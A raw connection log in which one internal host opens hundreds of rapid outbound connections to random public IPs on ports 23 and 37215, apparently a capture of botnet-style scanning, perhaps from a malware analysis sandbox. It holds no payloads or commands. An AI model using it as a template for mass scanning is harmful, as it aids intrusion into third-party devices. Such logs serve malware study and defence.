Dec 3, 2024 23:01:47.660775900 CET	62862	23	192.168.2.23	101.254.29.6
Dec 3, 2024 23:01:47.660779953 CET	62862	23	192.168.2.23	128.108.17.82
Dec 3, 2024 23:01:47.660788059 CET	62862	23	192.168.2.23	12.53.150.195
Dec 3, 2024 23:01:47.660810947 CET	62862	23	192.168.2.23	83.20.194.168
Dec 3, 2024 23:01:47.660811901 CET	62862	23	192.168.2.23	112.19.136.227
Dec 3, 2024 23:01:47.660814047 CET	62862	23	192.168.2.23	211.150.52.138
Dec 3, 2024 23:01:47.660815001 CET	62862	23	192.168.2.23	216.7.214.46
Dec 3, 2024 23:01:47.660815001 CET	62862	23	192.168.2.23	77.113.52.63
Dec 3, 2024 23:01:47.660815001 CET	62862	23	192.168.2.23	121.226.203.6
Dec 3, 2024 23:01:47.660818100 CET	62862	23	192.168.2.23	58.47.234.76
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	218.73.38.229
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	32.56.202.161
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	153.52.7.131
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	96.56.145.195
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	79.192.119.85
Dec 3, 2024 23:01:47.660825014 CET	62862	23	192.168.2.23	36.164.112.111
Dec 3, 2024 23:01:47.660831928 CET	62862	23	192.168.2.23	12.144.33.228
Dec 3, 2024 23:01:47.660831928 CET	62862	23	192.168.2.23	39.213.166.141
Dec 3, 2024 23:01:47.660831928 CET	62862	23	192.168.2.23	192.98.246.247
Dec 3, 2024 23:01:47.660831928 CET	62862	23	192.168.2.23	68.184.192.124
Dec 3, 2024 23:01:47.660835028 CET	62862	23	192.168.2.23	89.94.168.97
Dec 3, 2024 23:01:47.660868883 CET	58064	23	192.168.2.23	38.56.57.74
Dec 3, 2024 23:01:47.660880089 CET	59772	23	192.168.2.23	69.195.186.249
Dec 3, 2024 23:01:47.660897970 CET	45560	23	192.168.2.23	113.114.143.117
Dec 3, 2024 23:01:47.660902023 CET	59398	23	192.168.2.23	181.200.88.219
Dec 3, 2024 23:01:47.660914898 CET	49926	23	192.168.2.23	38.0.39.69
Dec 3, 2024 23:01:47.660928011 CET	46452	23	192.168.2.23	102.4.81.112
Dec 3, 2024 23:01:47.660933018 CET	39426	23	192.168.2.23	89.86.34.123
Dec 3, 2024 23:01:47.660948038 CET	57178	23	192.168.2.23	62.2.80.38
Dec 3, 2024 23:01:47.660959959 CET	51630	23	192.168.2.23	45.94.81.43
Dec 3, 2024 23:01:47.660990953 CET	39614	23	192.168.2.23	164.191.106.185
Dec 3, 2024 23:01:47.661005974 CET	59818	23	192.168.2.23	27.10.185.48
Dec 3, 2024 23:01:47.661021948 CET	52174	23	192.168.2.23	82.215.1.222
Dec 3, 2024 23:01:47.661035061 CET	44702	23	192.168.2.23	146.211.79.209
Dec 3, 2024 23:01:47.661046028 CET	35736	23	192.168.2.23	198.90.27.14
Dec 3, 2024 23:01:47.661056995 CET	50652	23	192.168.2.23	108.76.216.200
Dec 3, 2024 23:01:47.661086082 CET	38022	23	192.168.2.23	178.162.65.105
Dec 3, 2024 23:01:47.661099911 CET	59000	23	192.168.2.23	170.77.175.131
Dec 3, 2024 23:01:47.661118031 CET	43694	23	192.168.2.23	132.46.119.24
Dec 3, 2024 23:01:47.661119938 CET	50842	23	192.168.2.23	198.161.85.248
Dec 3, 2024 23:01:47.661135912 CET	43954	23	192.168.2.23	160.122.73.54
Dec 3, 2024 23:01:47.661144018 CET	49838	23	192.168.2.23	88.60.122.206
Dec 3, 2024 23:01:47.661159039 CET	56966	23	192.168.2.23	106.71.193.31
Dec 3, 2024 23:01:47.661171913 CET	49582	23	192.168.2.23	75.246.140.18
Dec 3, 2024 23:01:47.661185980 CET	42230	23	192.168.2.23	18.97.6.188
Dec 3, 2024 23:01:47.661199093 CET	56420	23	192.168.2.23	198.217.124.21
Dec 3, 2024 23:01:47.661211967 CET	32822	23	192.168.2.23	151.62.148.164
Dec 3, 2024 23:01:47.661226034 CET	37580	23	192.168.2.23	93.196.90.69
Dec 3, 2024 23:01:47.661237001 CET	42322	23	192.168.2.23	95.92.64.75
Dec 3, 2024 23:01:47.661242962 CET	37054	23	192.168.2.23	152.32.94.203
Dec 3, 2024 23:01:47.661251068 CET	33418	23	192.168.2.23	209.37.156.111
Dec 3, 2024 23:01:47.661256075 CET	49582	23	192.168.2.23	133.207.7.2
Dec 3, 2024 23:01:47.661278963 CET	60398	23	192.168.2.23	222.20.154.169
Dec 3, 2024 23:01:47.661286116 CET	43472	23	192.168.2.23	83.208.235.108
Dec 3, 2024 23:01:47.661298990 CET	56924	23	192.168.2.23	82.125.109.125
Dec 3, 2024 23:01:47.661312103 CET	40810	23	192.168.2.23	179.97.183.66
Dec 3, 2024 23:01:47.661323071 CET	53942	23	192.168.2.23	150.42.82.66
Dec 3, 2024 23:01:47.661341906 CET	35880	23	192.168.2.23	122.213.151.52
Dec 3, 2024 23:01:47.661355972 CET	35198	23	192.168.2.23	191.14.125.215
Dec 3, 2024 23:01:47.661370039 CET	38402	23	192.168.2.23	88.98.208.168
Dec 3, 2024 23:01:47.661380053 CET	34310	23	192.168.2.23	137.96.173.255
Dec 3, 2024 23:01:47.661391973 CET	43696	23	192.168.2.23	14.152.201.196
Dec 3, 2024 23:01:47.661407948 CET	35320	23	192.168.2.23	9.204.172.172
Dec 3, 2024 23:01:47.661413908 CET	42928	23	192.168.2.23	63.236.126.74
Dec 3, 2024 23:01:47.661429882 CET	33976	23	192.168.2.23	71.61.151.125
Dec 3, 2024 23:01:47.661441088 CET	41186	23	192.168.2.23	94.103.16.219
Dec 3, 2024 23:01:47.661446095 CET	42160	23	192.168.2.23	219.37.200.135
Dec 3, 2024 23:01:47.661461115 CET	60992	23	192.168.2.23	178.10.105.234
Dec 3, 2024 23:01:47.661469936 CET	37402	23	192.168.2.23	102.62.61.191
Dec 3, 2024 23:01:47.661473036 CET	35646	23	192.168.2.23	129.223.215.254
Dec 3, 2024 23:01:47.661484957 CET	59448	23	192.168.2.23	97.198.235.107
Dec 3, 2024 23:01:47.661497116 CET	52352	23	192.168.2.23	96.3.162.124
Dec 3, 2024 23:01:47.661509991 CET	49824	23	192.168.2.23	68.44.108.32
Dec 3, 2024 23:01:47.661514044 CET	56318	23	192.168.2.23	162.100.216.208
Dec 3, 2024 23:01:47.661529064 CET	46878	23	192.168.2.23	180.30.21.191
Dec 3, 2024 23:01:47.661530972 CET	38046	23	192.168.2.23	193.157.38.22
Dec 3, 2024 23:01:47.661545038 CET	52052	23	192.168.2.23	206.89.162.180
Dec 3, 2024 23:01:47.661547899 CET	34192	23	192.168.2.23	186.248.100.184
Dec 3, 2024 23:01:47.661559105 CET	35126	23	192.168.2.23	180.96.185.250
Dec 3, 2024 23:01:47.661566019 CET	56856	23	192.168.2.23	25.26.67.27
Dec 3, 2024 23:01:47.661583900 CET	41926	23	192.168.2.23	38.226.138.236
Dec 3, 2024 23:01:47.661598921 CET	37040	23	192.168.2.23	88.20.168.160
Dec 3, 2024 23:01:47.661606073 CET	35238	23	192.168.2.23	136.160.111.162
Dec 3, 2024 23:01:47.661624908 CET	47590	23	192.168.2.23	128.219.9.103
Dec 3, 2024 23:01:47.661633968 CET	38106	23	192.168.2.23	192.90.60.20
Dec 3, 2024 23:01:47.661648035 CET	35700	23	192.168.2.23	99.15.190.15
Dec 3, 2024 23:01:47.661662102 CET	60998	23	192.168.2.23	133.44.193.89
Dec 3, 2024 23:01:47.661673069 CET	39980	23	192.168.2.23	158.100.96.193
Dec 3, 2024 23:01:47.661679983 CET	60444	23	192.168.2.23	162.12.60.94
Dec 3, 2024 23:01:47.661684990 CET	49440	23	192.168.2.23	168.200.130.49
Dec 3, 2024 23:01:47.661701918 CET	43536	23	192.168.2.23	66.20.195.103
Dec 3, 2024 23:01:47.661715031 CET	49708	23	192.168.2.23	79.16.160.144
Dec 3, 2024 23:01:47.661720037 CET	46458	23	192.168.2.23	183.0.60.93
Dec 3, 2024 23:01:47.661730051 CET	47904	23	192.168.2.23	149.175.155.132
Dec 3, 2024 23:01:47.661739111 CET	35582	23	192.168.2.23	94.244.127.120
Dec 3, 2024 23:01:47.661739111 CET	55176	23	192.168.2.23	99.171.160.8
Dec 3, 2024 23:01:47.661757946 CET	59702	23	192.168.2.23	97.113.209.41
Dec 3, 2024 23:01:47.661757946 CET	37788	23	192.168.2.23	59.118.232.252
Dec 3, 2024 23:01:47.661772966 CET	54954	23	192.168.2.23	71.91.213.213
Dec 3, 2024 23:01:47.661787987 CET	45248	23	192.168.2.23	47.184.169.196
Dec 3, 2024 23:01:47.661799908 CET	57164	23	192.168.2.23	130.39.125.221
Dec 3, 2024 23:01:47.661809921 CET	59628	23	192.168.2.23	94.19.93.90
Dec 3, 2024 23:01:47.661827087 CET	60742	23	192.168.2.23	83.211.180.23
Dec 3, 2024 23:01:47.661835909 CET	59184	23	192.168.2.23	85.239.33.197
Dec 3, 2024 23:01:47.661842108 CET	36482	23	192.168.2.23	4.207.251.76
Dec 3, 2024 23:01:47.661849976 CET	37924	23	192.168.2.23	207.125.224.189
Dec 3, 2024 23:01:47.661856890 CET	57992	23	192.168.2.23	197.138.255.144
Dec 3, 2024 23:01:47.661870003 CET	38858	23	192.168.2.23	132.131.235.226
Dec 3, 2024 23:01:47.661885977 CET	43344	23	192.168.2.23	19.140.139.176
Dec 3, 2024 23:01:47.661904097 CET	52586	23	192.168.2.23	210.111.111.41
Dec 3, 2024 23:01:47.661906004 CET	41598	23	192.168.2.23	111.238.208.65
Dec 3, 2024 23:01:47.661922932 CET	36554	23	192.168.2.23	217.203.132.214
Dec 3, 2024 23:01:47.661926985 CET	46688	23	192.168.2.23	100.184.19.53
Dec 3, 2024 23:01:47.661945105 CET	38394	23	192.168.2.23	168.1.46.112
Dec 3, 2024 23:01:47.661957026 CET	54830	23	192.168.2.23	140.148.56.27
Dec 3, 2024 23:01:47.661967039 CET	37772	23	192.168.2.23	81.89.90.196
Dec 3, 2024 23:01:47.661978960 CET	60548	23	192.168.2.23	108.168.238.49
Dec 3, 2024 23:01:47.661984921 CET	60136	23	192.168.2.23	152.97.203.217
Dec 3, 2024 23:01:47.662045002 CET	59534	37215	192.168.2.23	41.250.35.136
Dec 3, 2024 23:01:47.662048101 CET	59534	37215	192.168.2.23	197.122.241.223
Dec 3, 2024 23:01:47.662055016 CET	59534	37215	192.168.2.23	156.133.32.200
Dec 3, 2024 23:01:47.662066936 CET	59534	37215	192.168.2.23	156.23.128.246
Dec 3, 2024 23:01:47.662070036 CET	59534	37215	192.168.2.23	156.124.169.231
Dec 3, 2024 23:01:47.662075043 CET	59534	37215	192.168.2.23	156.46.190.124
Dec 3, 2024 23:01:47.662076950 CET	59534	37215	192.168.2.23	156.106.49.31
Dec 3, 2024 23:01:47.662081003 CET	59534	37215	192.168.2.23	197.130.157.166
Dec 3, 2024 23:01:47.662081003 CET	59534	37215	192.168.2.23	156.240.7.239
Dec 3, 2024 23:01:47.662094116 CET	59534	37215	192.168.2.23	197.165.129.171
Dec 3, 2024 23:01:47.662101030 CET	59534	37215	192.168.2.23	156.129.9.16
Dec 3, 2024 23:01:47.662101030 CET	59534	37215	192.168.2.23	41.192.185.112
Dec 3, 2024 23:01:47.662101984 CET	59534	37215	192.168.2.23	41.4.138.86
Dec 3, 2024 23:01:47.662102938 CET	59534	37215	192.168.2.23	156.246.110.65
Dec 3, 2024 23:01:47.662102938 CET	59534	37215	192.168.2.23	156.112.5.5
Dec 3, 2024 23:01:47.662102938 CET	59534	37215	192.168.2.23	197.250.213.147
Dec 3, 2024 23:01:47.662122965 CET	59534	37215	192.168.2.23	197.225.101.0
Dec 3, 2024 23:01:47.662122965 CET	59534	37215	192.168.2.23	156.225.20.0
Dec 3, 2024 23:01:47.662122965 CET	59534	37215	192.168.2.23	156.53.42.238
Dec 3, 2024 23:01:47.662132025 CET	59534	37215	192.168.2.23	156.173.226.135
Dec 3, 2024 23:01:47.662132025 CET	59534	37215	192.168.2.23	197.6.5.247
Dec 3, 2024 23:01:47.662132025 CET	59534	37215	192.168.2.23	41.123.43.188
Dec 3, 2024 23:01:47.662132025 CET	59534	37215	192.168.2.23	41.159.187.161
Dec 3, 2024 23:01:47.662132025 CET	59534	37215	192.168.2.23	197.132.40.227
Dec 3, 2024 23:01:47.662134886 CET	59534	37215	192.168.2.23	156.219.17.156
Dec 3, 2024 23:01:47.662141085 CET	59534	37215	192.168.2.23	41.105.32.252
Dec 3, 2024 23:01:47.662146091 CET	59534	37215	192.168.2.23	156.64.180.132
Dec 3, 2024 23:01:47.662158966 CET	59534	37215	192.168.2.23	156.134.181.151
Dec 3, 2024 23:01:47.662159920 CET	59534	37215	192.168.2.23	41.243.164.94
Dec 3, 2024 23:01:47.662168980 CET	59534	37215	192.168.2.23	197.100.230.178
Dec 3, 2024 23:01:47.662169933 CET	59534	37215	192.168.2.23	156.122.170.202
Dec 3, 2024 23:01:47.662169933 CET	59534	37215	192.168.2.23	156.44.59.21
Dec 3, 2024 23:01:47.662169933 CET	59534	37215	192.168.2.23	41.163.201.229
Dec 3, 2024 23:01:47.662169933 CET	59534	37215	192.168.2.23	41.218.40.213
Dec 3, 2024 23:01:47.662173986 CET	59534	37215	192.168.2.23	41.38.109.254
Dec 3, 2024 23:01:47.662179947 CET	59534	37215	192.168.2.23	197.235.136.30
Dec 3, 2024 23:01:47.662183046 CET	59534	37215	192.168.2.23	156.252.42.82
Dec 3, 2024 23:01:47.662184954 CET	59534	37215	192.168.2.23	197.31.229.126
Dec 3, 2024 23:01:47.662184954 CET	59534	37215	192.168.2.23	41.167.49.104
Dec 3, 2024 23:01:47.662185907 CET	59534	37215	192.168.2.23	156.124.223.190
Dec 3, 2024 23:01:47.662197113 CET	59534	37215	192.168.2.23	156.141.137.76
Dec 3, 2024 23:01:47.662203074 CET	59534	37215	192.168.2.23	197.67.226.113
Dec 3, 2024 23:01:47.662203074 CET	59534	37215	192.168.2.23	41.244.111.27
Dec 3, 2024 23:01:47.662203074 CET	59534	37215	192.168.2.23	41.75.119.174
Dec 3, 2024 23:01:47.662205935 CET	59534	37215	192.168.2.23	197.73.226.187
Dec 3, 2024 23:01:47.662209988 CET	59534	37215	192.168.2.23	156.242.17.44
Dec 3, 2024 23:01:47.662209988 CET	59534	37215	192.168.2.23	41.106.50.189
Dec 3, 2024 23:01:47.662211895 CET	59534	37215	192.168.2.23	41.39.146.37
Dec 3, 2024 23:01:47.662225008 CET	59534	37215	192.168.2.23	197.73.28.110
Dec 3, 2024 23:01:47.662230015 CET	59534	37215	192.168.2.23	197.180.162.60
Dec 3, 2024 23:01:47.662235975 CET	59534	37215	192.168.2.23	156.22.226.155
Dec 3, 2024 23:01:47.662245989 CET	59534	37215	192.168.2.23	156.169.177.201
Dec 3, 2024 23:01:47.662246943 CET	59534	37215	192.168.2.23	41.250.216.132
Dec 3, 2024 23:01:47.662256002 CET	59534	37215	192.168.2.23	156.55.210.215
Dec 3, 2024 23:01:47.662256002 CET	59534	37215	192.168.2.23	41.33.101.131
Dec 3, 2024 23:01:47.662257910 CET	59534	37215	192.168.2.23	156.230.32.62
Dec 3, 2024 23:01:47.662261963 CET	59534	37215	192.168.2.23	41.225.160.61
Dec 3, 2024 23:01:47.662275076 CET	59534	37215	192.168.2.23	41.140.121.40
Dec 3, 2024 23:01:47.662281990 CET	59534	37215	192.168.2.23	41.23.214.149
Dec 3, 2024 23:01:47.662283897 CET	59534	37215	192.168.2.23	156.188.33.229
Dec 3, 2024 23:01:47.662286043 CET	59534	37215	192.168.2.23	41.60.155.180
Dec 3, 2024 23:01:47.662293911 CET	59534	37215	192.168.2.23	156.32.77.72
Dec 3, 2024 23:01:47.662307024 CET	59534	37215	192.168.2.23	41.190.86.87
Dec 3, 2024 23:01:47.662307978 CET	59534	37215	192.168.2.23	41.48.171.38
Dec 3, 2024 23:01:47.662308931 CET	59534	37215	192.168.2.23	41.22.52.79
Dec 3, 2024 23:01:47.662308931 CET	59534	37215	192.168.2.23	41.176.24.169
Dec 3, 2024 23:01:47.662312031 CET	59534	37215	192.168.2.23	156.254.241.227
Dec 3, 2024 23:01:47.662312031 CET	59534	37215	192.168.2.23	41.176.58.57
Dec 3, 2024 23:01:47.662312031 CET	59534	37215	192.168.2.23	156.80.128.217
Dec 3, 2024 23:01:47.662318945 CET	59534	37215	192.168.2.23	197.199.8.194
Dec 3, 2024 23:01:47.662326097 CET	59534	37215	192.168.2.23	41.194.178.32
Dec 3, 2024 23:01:47.662326097 CET	59534	37215	192.168.2.23	41.213.38.3
Dec 3, 2024 23:01:47.662326097 CET	59534	37215	192.168.2.23	156.228.28.171
Dec 3, 2024 23:01:47.662327051 CET	59534	37215	192.168.2.23	41.90.24.252
Dec 3, 2024 23:01:47.662326097 CET	59534	37215	192.168.2.23	197.84.70.41
Dec 3, 2024 23:01:47.662326097 CET	59534	37215	192.168.2.23	197.189.165.138
Dec 3, 2024 23:01:47.662327051 CET	59534	37215	192.168.2.23	156.131.168.113
Dec 3, 2024 23:01:47.662334919 CET	59534	37215	192.168.2.23	41.10.171.170
Dec 3, 2024 23:01:47.662337065 CET	59534	37215	192.168.2.23	197.209.172.167
Dec 3, 2024 23:01:47.662337065 CET	59534	37215	192.168.2.23	41.10.143.108
Dec 3, 2024 23:01:47.662341118 CET	59534	37215	192.168.2.23	156.154.190.201
Dec 3, 2024 23:01:47.662343979 CET	59534	37215	192.168.2.23	197.130.75.98
Dec 3, 2024 23:01:47.662345886 CET	59534	37215	192.168.2.23	156.222.56.154
Dec 3, 2024 23:01:47.662353039 CET	59534	37215	192.168.2.23	41.37.129.161
Dec 3, 2024 23:01:47.662358046 CET	59534	37215	192.168.2.23	41.164.189.102
Dec 3, 2024 23:01:47.662358999 CET	59534	37215	192.168.2.23	197.25.236.191
Dec 3, 2024 23:01:47.662359953 CET	59534	37215	192.168.2.23	197.207.240.10
Dec 3, 2024 23:01:47.662360907 CET	59534	37215	192.168.2.23	156.14.190.127
Dec 3, 2024 23:01:47.662360907 CET	59534	37215	192.168.2.23	156.105.191.9
Dec 3, 2024 23:01:47.662360907 CET	59534	37215	192.168.2.23	156.1.177.173
Dec 3, 2024 23:01:47.662360907 CET	59534	37215	192.168.2.23	156.162.55.30
Dec 3, 2024 23:01:47.662378073 CET	59534	37215	192.168.2.23	156.52.116.193
Dec 3, 2024 23:01:47.662378073 CET	59534	37215	192.168.2.23	197.212.168.160
Dec 3, 2024 23:01:47.662381887 CET	59534	37215	192.168.2.23	156.121.59.221
Dec 3, 2024 23:01:47.662388086 CET	59534	37215	192.168.2.23	156.233.17.153
Dec 3, 2024 23:01:47.662389040 CET	59534	37215	192.168.2.23	41.96.53.27
Dec 3, 2024 23:01:47.662390947 CET	59534	37215	192.168.2.23	197.206.175.51
Dec 3, 2024 23:01:47.662395954 CET	59534	37215	192.168.2.23	41.207.61.48
Dec 3, 2024 23:01:47.662398100 CET	59534	37215	192.168.2.23	156.134.95.27
Dec 3, 2024 23:01:47.662399054 CET	59534	37215	192.168.2.23	41.178.43.189
Dec 3, 2024 23:01:47.662399054 CET	59534	37215	192.168.2.23	156.115.187.104
Dec 3, 2024 23:01:47.662419081 CET	59534	37215	192.168.2.23	41.33.63.79
Dec 3, 2024 23:01:47.662419081 CET	59534	37215	192.168.2.23	41.75.87.189
Dec 3, 2024 23:01:47.662420988 CET	59534	37215	192.168.2.23	197.188.84.195
Dec 3, 2024 23:01:47.662425995 CET	59534	37215	192.168.2.23	197.225.27.37
Dec 3, 2024 23:01:47.662425995 CET	59534	37215	192.168.2.23	41.131.252.68
Dec 3, 2024 23:01:47.662427902 CET	59534	37215	192.168.2.23	197.53.68.89
Dec 3, 2024 23:01:47.662442923 CET	59534	37215	192.168.2.23	156.10.64.133
Dec 3, 2024 23:01:47.662444115 CET	59534	37215	192.168.2.23	156.191.168.7
Dec 3, 2024 23:01:47.662451029 CET	59534	37215	192.168.2.23	156.87.156.31
Dec 3, 2024 23:01:47.662451029 CET	59534	37215	192.168.2.23	197.110.223.221
Dec 3, 2024 23:01:47.662451982 CET	59534	37215	192.168.2.23	41.91.74.57
Dec 3, 2024 23:01:47.662452936 CET	59534	37215	192.168.2.23	156.247.17.230
Dec 3, 2024 23:01:47.662477970 CET	59534	37215	192.168.2.23	156.237.28.56
Dec 3, 2024 23:01:47.662477970 CET	59534	37215	192.168.2.23	156.246.183.79
Dec 3, 2024 23:01:47.662484884 CET	59534	37215	192.168.2.23	156.43.48.36
Dec 3, 2024 23:01:47.662484884 CET	59534	37215	192.168.2.23	41.247.52.140
Dec 3, 2024 23:01:47.662486076 CET	59534	37215	192.168.2.23	156.244.242.252
Dec 3, 2024 23:01:47.662487030 CET	59534	37215	192.168.2.23	41.173.194.213
Dec 3, 2024 23:01:47.662486076 CET	59534	37215	192.168.2.23	41.12.41.94
Dec 3, 2024 23:01:47.662491083 CET	59534	37215	192.168.2.23	197.243.23.237
Dec 3, 2024 23:01:47.662486076 CET	59534	37215	192.168.2.23	156.201.208.126
Dec 3, 2024 23:01:47.662492037 CET	59534	37215	192.168.2.23	156.117.203.173
Dec 3, 2024 23:01:47.662492037 CET	59534	37215	192.168.2.23	41.130.176.166
Dec 3, 2024 23:01:47.662492037 CET	59534	37215	192.168.2.23	41.18.173.242
Dec 3, 2024 23:01:47.662497044 CET	59534	37215	192.168.2.23	197.1.88.83
Dec 3, 2024 23:01:47.662497044 CET	59534	37215	192.168.2.23	156.38.160.75
Dec 3, 2024 23:01:47.662497044 CET	59534	37215	192.168.2.23	197.143.4.243
Dec 3, 2024 23:01:47.662507057 CET	59534	37215	192.168.2.23	197.216.25.172
Dec 3, 2024 23:01:47.662507057 CET	59534	37215	192.168.2.23	197.29.207.104
Dec 3, 2024 23:01:47.662508011 CET	59534	37215	192.168.2.23	41.69.39.55
Dec 3, 2024 23:01:47.662508011 CET	59534	37215	192.168.2.23	41.46.83.135
Dec 3, 2024 23:01:47.662511110 CET	59534	37215	192.168.2.23	156.46.163.147
Dec 3, 2024 23:01:47.662513018 CET	59534	37215	192.168.2.23	197.60.109.157
Dec 3, 2024 23:01:47.662513971 CET	59534	37215	192.168.2.23	41.119.155.155
Dec 3, 2024 23:01:47.662513971 CET	59534	37215	192.168.2.23	156.152.252.211
Dec 3, 2024 23:01:47.662517071 CET	59534	37215	192.168.2.23	197.133.43.44
Dec 3, 2024 23:01:47.662528038 CET	59534	37215	192.168.2.23	156.18.246.110
Dec 3, 2024 23:01:47.662528992 CET	59534	37215	192.168.2.23	41.210.112.228
Dec 3, 2024 23:01:47.662528992 CET	59534	37215	192.168.2.23	197.153.69.102
Dec 3, 2024 23:01:47.662528992 CET	59534	37215	192.168.2.23	156.63.182.246
Dec 3, 2024 23:01:47.662528992 CET	59534	37215	192.168.2.23	156.111.36.41
Dec 3, 2024 23:01:47.662528992 CET	59534	37215	192.168.2.23	156.74.33.110
Dec 3, 2024 23:01:47.662549019 CET	59534	37215	192.168.2.23	197.236.82.80
Dec 3, 2024 23:01:47.662549019 CET	59534	37215	192.168.2.23	156.2.185.123
Dec 3, 2024 23:01:47.662549019 CET	59534	37215	192.168.2.23	41.170.59.143
Dec 3, 2024 23:01:47.662549973 CET	59534	37215	192.168.2.23	197.70.67.78
Dec 3, 2024 23:01:47.662549973 CET	59534	37215	192.168.2.23	41.20.26.55
Dec 3, 2024 23:01:47.662549973 CET	59534	37215	192.168.2.23	197.246.60.210
Dec 3, 2024 23:01:47.662550926 CET	59534	37215	192.168.2.23	156.3.48.73
Dec 3, 2024 23:01:47.662550926 CET	59534	37215	192.168.2.23	41.121.71.65
Dec 3, 2024 23:01:47.662550926 CET	59534	37215	192.168.2.23	197.86.189.255
Dec 3, 2024 23:01:47.662553072 CET	59534	37215	192.168.2.23	156.254.162.112
Dec 3, 2024 23:01:47.662553072 CET	59534	37215	192.168.2.23	156.126.222.204
Dec 3, 2024 23:01:47.662553072 CET	59534	37215	192.168.2.23	156.148.33.25
Dec 3, 2024 23:01:47.662554979 CET	59534	37215	192.168.2.23	156.176.53.168
Dec 3, 2024 23:01:47.662554979 CET	59534	37215	192.168.2.23	197.23.212.207
Dec 3, 2024 23:01:47.662554979 CET	59534	37215	192.168.2.23	41.76.37.58
Dec 3, 2024 23:01:47.662570000 CET	59534	37215	192.168.2.23	156.92.221.225
Dec 3, 2024 23:01:47.662570953 CET	59534	37215	192.168.2.23	156.46.192.166
Dec 3, 2024 23:01:47.662570000 CET	59534	37215	192.168.2.23	41.191.213.48
Dec 3, 2024 23:01:47.662570953 CET	59534	37215	192.168.2.23	197.109.40.67
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	156.98.17.88
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	197.170.204.181
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	156.167.2.180
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	41.133.103.188
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	197.117.242.142
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	197.245.177.84
Dec 3, 2024 23:01:47.662574053 CET	59534	37215	192.168.2.23	197.97.243.217
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	156.97.45.163
Dec 3, 2024 23:01:47.662574053 CET	59534	37215	192.168.2.23	41.125.64.5
Dec 3, 2024 23:01:47.662578106 CET	59534	37215	192.168.2.23	41.169.196.94
Dec 3, 2024 23:01:47.662580967 CET	59534	37215	192.168.2.23	197.222.103.111
Dec 3, 2024 23:01:47.662578106 CET	59534	37215	192.168.2.23	156.53.76.109
Dec 3, 2024 23:01:47.662580967 CET	59534	37215	192.168.2.23	41.25.128.255
Dec 3, 2024 23:01:47.662578106 CET	59534	37215	192.168.2.23	41.206.225.186
Dec 3, 2024 23:01:47.662573099 CET	59534	37215	192.168.2.23	156.14.18.204
Dec 3, 2024 23:01:47.662585974 CET	59534	37215	192.168.2.23	41.142.105.234
Dec 3, 2024 23:01:47.662585974 CET	59534	37215	192.168.2.23	156.27.123.191
Dec 3, 2024 23:01:47.662585974 CET	59534	37215	192.168.2.23	41.63.185.55
Dec 3, 2024 23:01:47.662585974 CET	59534	37215	192.168.2.23	156.48.32.61
Dec 3, 2024 23:01:47.662590981 CET	59534	37215	192.168.2.23	197.93.186.42
Dec 3, 2024 23:01:47.662590981 CET	59534	37215	192.168.2.23	41.101.132.150
Dec 3, 2024 23:01:47.662591934 CET	59534	37215	192.168.2.23	156.38.215.249
Dec 3, 2024 23:01:47.662591934 CET	59534	37215	192.168.2.23	156.164.109.50
Dec 3, 2024 23:01:47.662591934 CET	59534	37215	192.168.2.23	156.253.96.56
Dec 3, 2024 23:01:47.662597895 CET	59534	37215	192.168.2.23	156.138.42.12
Dec 3, 2024 23:01:47.662597895 CET	59534	37215	192.168.2.23	156.64.175.65
Dec 3, 2024 23:01:47.662601948 CET	59534	37215	192.168.2.23	197.81.28.54
Dec 3, 2024 23:01:47.662606001 CET	59534	37215	192.168.2.23	197.73.49.32
Dec 3, 2024 23:01:47.662606001 CET	59534	37215	192.168.2.23	156.14.72.55
Dec 3, 2024 23:01:47.662606001 CET	59534	37215	192.168.2.23	41.5.130.254
Dec 3, 2024 23:01:47.662606001 CET	59534	37215	192.168.2.23	197.11.37.242
Dec 3, 2024 23:01:47.662606955 CET	59534	37215	192.168.2.23	156.4.167.126
Dec 3, 2024 23:01:47.662606955 CET	59534	37215	192.168.2.23	156.25.236.160
Dec 3, 2024 23:01:47.662621021 CET	59534	37215	192.168.2.23	41.4.147.249
Dec 3, 2024 23:01:47.662621021 CET	59534	37215	192.168.2.23	156.48.253.147
Dec 3, 2024 23:01:47.662621021 CET	59534	37215	192.168.2.23	156.252.202.60
Dec 3, 2024 23:01:47.662622929 CET	59534	37215	192.168.2.23	197.10.161.186
Dec 3, 2024 23:01:47.662622929 CET	59534	37215	192.168.2.23	197.107.57.199
Dec 3, 2024 23:01:47.662622929 CET	59534	37215	192.168.2.23	156.20.62.79
Dec 3, 2024 23:01:47.662622929 CET	59534	37215	192.168.2.23	41.110.96.26
Dec 3, 2024 23:01:47.662622929 CET	59534	37215	192.168.2.23	41.255.213.57
Dec 3, 2024 23:01:47.662626028 CET	59534	37215	192.168.2.23	156.187.90.80
Dec 3, 2024 23:01:47.662642956 CET	59534	37215	192.168.2.23	156.157.210.232
Dec 3, 2024 23:01:47.662645102 CET	59534	37215	192.168.2.23	41.192.192.74
Dec 3, 2024 23:01:47.662645102 CET	59534	37215	192.168.2.23	156.95.5.49
Dec 3, 2024 23:01:47.662645102 CET	59534	37215	192.168.2.23	156.187.255.174
Dec 3, 2024 23:01:47.662645102 CET	59534	37215	192.168.2.23	197.60.100.37
Dec 3, 2024 23:01:47.662647009 CET	59534	37215	192.168.2.23	41.33.51.239
Dec 3, 2024 23:01:47.662647009 CET	59534	37215	192.168.2.23	41.153.174.13
Dec 3, 2024 23:01:47.662647009 CET	59534	37215	192.168.2.23	156.249.42.100
Dec 3, 2024 23:01:47.662647009 CET	59534	37215	192.168.2.23	41.112.203.100
Dec 3, 2024 23:01:47.662648916 CET	59534	37215	192.168.2.23	197.153.11.116
Dec 3, 2024 23:01:47.662648916 CET	59534	37215	192.168.2.23	41.26.13.233
Dec 3, 2024 23:01:47.662648916 CET	59534	37215	192.168.2.23	197.184.8.44
Dec 3, 2024 23:01:47.662648916 CET	59534	37215	192.168.2.23	197.167.251.51
